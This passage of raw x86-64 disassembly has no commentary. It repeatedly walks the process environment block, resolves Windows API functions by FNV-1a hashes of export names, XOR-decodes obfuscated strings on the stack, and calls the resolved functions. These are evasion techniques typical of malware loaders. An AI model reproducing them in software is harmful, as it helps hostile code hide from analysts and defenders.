punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017de90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017de90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x14004bbf0
cmp r8d, 0x3d
jge 0x14004bd30
movsxd rax, r8d
lea r9, [rsp + 0x60]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3d
jl 0x14004bd00
lea rcx, [rsp + 0x60]
call r11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14004bdc4
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14004bdc4
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14004bdbf
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x14004bda0
cmp edx, 0x2fa62ca8
je 0x14004bdc9
test r9d, r9d
jne 0x14004bd80
mov rax, qword [rax]
jmp 0x14004bd50
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
mov ecx, 0x2ee
call rax
movups xmm0, xmmword [0x14017d970]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [0x14017d980]
movups xmmword [rsp + 0x70], xmm1
movups xmm0, xmmword [0x14017d990]
movups xmmword [rbp - 0x80], xmm0
movsd xmm0, qword [0x14017d9a0]
movsd qword [rbp - 0x70], xmm0
mov eax, dword [0x14017d9a8]
mov dword [rbp - 0x68], eax
movzx eax, byte [0x14017d9ac]
mov byte [rbp - 0x64], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14004beb4
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14004beb4
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14004beaf
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x14004be90
cmp edx, 0x491e0a9c
je 0x14004beb9
test r9d, r9d
jne 0x14004be70
mov rax, qword [rax]
jmp 0x14004be40
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov r11d, dword [rdx + rcx*4]
add r11, r10
mov r8d, edi
cmp esi, 2
jl 0x14004c015
movdqa xmm5, xmmword [0x14017de30]
movdqa xmm4, xmmword [0x14017dfa0]
movdqa xmm6, xmmword [0x14017de50]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x60]
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017de90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017de90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x14004bf10
cmp r8d, 0x3d
jge 0x14004c050
movsxd rax, r8d
lea r9, [rsp + 0x60]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3d
jl 0x14004c020
lea rcx, [rsp + 0x60]
call r11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14004c0e4
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14004c0e4
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14004c0df
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x14004c0c0
cmp edx, 0x2fa62ca8
je 0x14004c0e9
test r9d, r9d
jne 0x14004c0a0
mov rax, qword [rax]
jmp 0x14004c070
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
mov ecx, 0x2ee
call rax
movups xmm0, xmmword [0x140179af0]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [0x140179b00]
movups xmmword [rsp + 0x70], xmm1
movups xmm0, xmmword [0x140179b10]
movups xmmword [rbp - 0x80], xmm0
movsd xmm0, qword [0x140179b20]
movsd qword [rbp - 0x70], xmm0
mov eax, dword [0x140179b28]
mov dword [rbp - 0x68], eax
movzx eax, word [0x140179b2c]
mov word [rbp - 0x64], ax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14004c1d4
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14004c1d4
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14004c1cf
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x14004c1b0
cmp edx, 0x491e0a9c
je 0x14004c1d9
test r9d, r9d
jne 0x14004c190
mov rax, qword [rax]
jmp 0x14004c160
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov r11d, dword [rdx + rcx*4]
add r11, r10
mov r8d, edi
cmp esi, 2
jl 0x14004c335
movdqa xmm5, xmmword [0x14017de30]
movdqa xmm4, xmmword [0x14017dfa0]
movdqa xmm6, xmmword [0x14017de50]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x60]
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017de90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017de90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x14004c230
cmp r8d, 0x3e
jge 0x14004c370
movsxd rax, r8d
lea r9, [rsp + 0x60]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3e
jl 0x14004c340
lea rcx, [rsp + 0x60]
call r11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14004c404
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14004c404
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14004c3ff
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x14004c3e0
cmp edx, 0x2fa62ca8
je 0x14004c409
test r9d, r9d
jne 0x14004c3c0
mov rax, qword [rax]
jmp 0x14004c390
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
mov ecx, 0x2ee
call rax
movups xmm0, xmmword [0x140179198]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [0x1401791a8]
movups xmmword [rsp + 0x70], xmm1
movups xmm0, xmmword [0x1401791b8]
movups xmmword [rbp - 0x80], xmm0
movsd xmm0, qword [0x1401791c8]
movsd qword [rbp - 0x70], xmm0
mov eax, dword [0x1401791d0]
mov dword [rbp - 0x68], eax
movzx eax, byte [0x1401791d4]
mov byte [rbp - 0x64], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14004c4f4
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14004c4f4
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14004c4ef
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x14004c4d0
cmp edx, 0x491e0a9c
je 0x14004c4f9
test r9d, r9d
jne 0x14004c4b0
mov rax, qword [rax]
jmp 0x14004c480
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov r11d, dword [rdx + rcx*4]
add r11, r10
mov r8d, edi
cmp esi, 2
jl 0x14004c655
movdqa xmm5, xmmword [0x14017de30]
movdqa xmm4, xmmword [0x14017dfa0]
movdqa xmm6, xmmword [0x14017de50]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x60]
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017de90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017de90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x14004c550
cmp r8d, 0x3d
jge 0x14004c690
movsxd rax, r8d
lea r9, [rsp + 0x60]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3d
jl 0x14004c660
lea rcx, [rsp + 0x60]
call r11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14004c724
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14004c724
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14004c71f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x14004c700
cmp edx, 0x2fa62ca8
je 0x14004c729
test r9d, r9d
jne 0x14004c6e0
mov rax, qword [rax]
jmp 0x14004c6b0
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
mov ecx, 0x2ee
call rax
movups xmm0, xmmword [0x140179ec0]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [0x140179ed0]
movups xmmword [rsp + 0x70], xmm1
movups xmm0, xmmword [0x140179ee0]
movups xmmword [rbp - 0x80], xmm0
movsd xmm0, qword [0x140179ef0]
movsd qword [rbp - 0x70], xmm0
mov eax, dword [0x140179ef8]
mov dword [rbp - 0x68], eax
movzx eax, word [0x140179efc]
mov word [rbp - 0x64], ax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14004c814
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14004c814
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14004c80f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x14004c7f0
cmp edx, 0x491e0a9c
je 0x14004c819
test r9d, r9d
jne 0x14004c7d0
mov rax, qword [rax]
jmp 0x14004c7a0
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov r11d, dword [rdx + rcx*4]
add r11, r10
mov r8d, edi
cmp esi, 2
jl 0x14004c975
movdqa xmm5, xmmword [0x14017de30]
movdqa xmm4, xmmword [0x14017dfa0]
movdqa xmm6, xmmword [0x14017de50]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x60]
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017de90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017de90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x14004c870
cmp r8d, 0x3e
jge 0x14004c9b0
movsxd rax, r8d
lea r9, [rsp + 0x60]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3e
jl 0x14004c980
lea rcx, [rsp + 0x60]
call r11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14004ca44
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14004ca44
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14004ca3f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x14004ca20
cmp edx, 0x2fa62ca8
je 0x14004ca49
test r9d, r9d
jne 0x14004ca00
mov rax, qword [rax]
jmp 0x14004c9d0
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
mov ecx, 0x2ee
call rax
movups xmm0, xmmword [0x140179550]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [0x140179560]
movups xmmword [rsp + 0x70], xmm1
movups xmm0, xmmword [0x140179570]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x140179580]
movups xmmword [rbp - 0x70], xmm1
movsd xmm0, qword [0x140179590]
movsd qword [rbp - 0x60], xmm0
mov eax, dword [0x140179598]
mov dword [rbp - 0x58], eax
movzx eax, word [0x14017959c]
mov word [rbp - 0x54], ax
movzx eax, byte [0x14017959e]
mov byte [rbp - 0x52], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14004cb54
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14004cb54
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14004cb4f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x14004cb30
cmp edx, 0x491e0a9c
je 0x14004cb59
test r9d, r9d
jne 0x14004cb10
mov rax, qword [rax]
jmp 0x14004cae0
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov r11d, dword [rdx + rcx*4]
add r11, r10
mov r8d, edi
cmp esi, 2
jl 0x14004ccb5
movdqa xmm5, xmmword [0x14017de30]
movdqa xmm4, xmmword [0x14017dfa0]
movdqa xmm6, xmmword [0x14017de50]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x60]
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017de90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017de90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x48
jl 0x14004cbb0
cmp r8d, 0x4f
jge 0x14004ccf0
movsxd rax, r8d
lea r9, [rsp + 0x60]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x4f
jl 0x14004ccc0
lea rcx, [rsp + 0x60]
call r11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14004cd84
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14004cd84
mov rax, qword [rax]
jmp 0x14004cd10